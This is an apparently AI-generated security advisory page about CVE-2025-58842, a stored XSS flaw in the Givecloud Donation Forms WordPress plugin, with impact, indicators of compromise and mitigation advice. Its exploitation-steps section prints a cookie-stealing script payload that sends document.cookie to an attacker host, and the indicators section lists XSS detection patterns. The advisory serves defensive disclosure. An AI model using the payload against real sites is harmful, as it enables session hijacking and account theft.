CVE-2025-58842
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-58842 is a Stored Cross-Site Scripting (XSS) vulnerability in the Donation Forms WP by Givecloud WordPress plugin, classified under CWE-79. It affects all versions from n/a through 1.0.9 and was published on September 5, 2025, with the CVE assigned by Patchstack. The vulnerability carries a CVSS v3.1 base score of 6.5 (Medium) (Feedly, Patchstack).

Technical details

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79), allowing malicious scripts to be persistently stored and later rendered in victims' browsers. The attack vector is network-based, requires low privileges (an authenticated user role), low attack complexity, and user interaction (a victim must view the affected page), with a changed scope indicating cross-context impact. The vulnerability resides in the Donation Forms WP by Givecloud plugin (≤ 1.0.9) for WordPress, where attacker-controlled input is stored without adequate sanitization or output encoding (Feedly, Patchstack).

Impact

Successful exploitation allows an authenticated attacker to inject and persistently store malicious JavaScript that executes in the browsers of other users (including administrators) who view the affected content. This can result in session hijacking, credential theft, unauthorized actions performed on behalf of victims, and potential privilege escalation if an administrator account is compromised. Confidentiality, integrity, and availability are all assessed as low-impact individually, but the changed scope means the attack crosses security boundaries beyond the plugin itself (Feedly).

Exploitability

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for CVE-2025-58842 as of the available data. The EPSS score is approximately 0.033% (0.000330), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no threat actor attribution has been identified (Feedly, Wordfence).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Donation Forms WP by Givecloud plugin version ≤ 1.0.9 using tools like WPScan or by inspecting plugin directories.
  2. Authentication: Obtain a low-privileged account on the target WordPress site (e.g., subscriber or contributor role).
  3. Inject payload: Navigate to a plugin input field that accepts and stores user-supplied data (e.g., a donation form field or plugin settings), and submit a crafted XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  4. Payload persistence: The malicious script is stored in the WordPress database without proper sanitization.
  5. Trigger execution: When an administrator or other user views the page containing the stored payload, the script executes in their browser, potentially stealing session cookies, performing actions on their behalf, or redirecting them to attacker-controlled infrastructure (Feedly, Patchstack).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to donation form endpoints containing HTML/JavaScript tags or encoded script payloads (e.g., %3Cscript%3E, javascript:, onerror=).
  • Database: Unexpected <script> tags, event handlers (e.g., onload, onerror), or encoded JavaScript stored in plugin-related database tables (e.g., wp_options, wp_postmeta).
  • Network: Outbound requests from victim browsers to unknown external domains shortly after viewing donation form pages, potentially carrying cookie or session data.
  • Browser/Application: Unexpected redirects or pop-ups experienced by users viewing pages that render Givecloud donation form content.

Mitigation and workarounds

WordPress site administrators should update the Donation Forms WP by Givecloud plugin to a version beyond 1.0.9 if a patched release is available from the plugin vendor or the WordPress plugin repository. If no patch is yet available, the recommended workaround is to deactivate and remove the plugin until a fix is released. Additionally, deploying a Web Application Firewall (WAF) such as Wordfence or Patchstack can help detect and block XSS exploitation attempts in the interim (Patchstack, Wordfence).

Community reactions

The vulnerability was included in Wordfence's weekly WordPress vulnerability report for the period of September 1–7, 2025, indicating routine tracking by the WordPress security community (Wordfence). No notable vendor statements, researcher commentary, or significant media coverage beyond standard vulnerability database listings have been identified.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2024-13784CRITICAL9.8
  • arforms-form-builder
NoYesAug 16, 2026
CVE-2026-65640HIGH8.8
  • wordpress
NoYesAug 17, 2026
CVE-2026-11801HIGH7.5
  • wpadverts
NoYesAug 18, 2026
CVE-2026-13700MEDIUM5.9
  • wooms
NoNoAug 17, 2026
CVE-2026-14832MEDIUM5.3
  • shopsmart-loyalty-for-woocommerce
NoNoAug 17, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management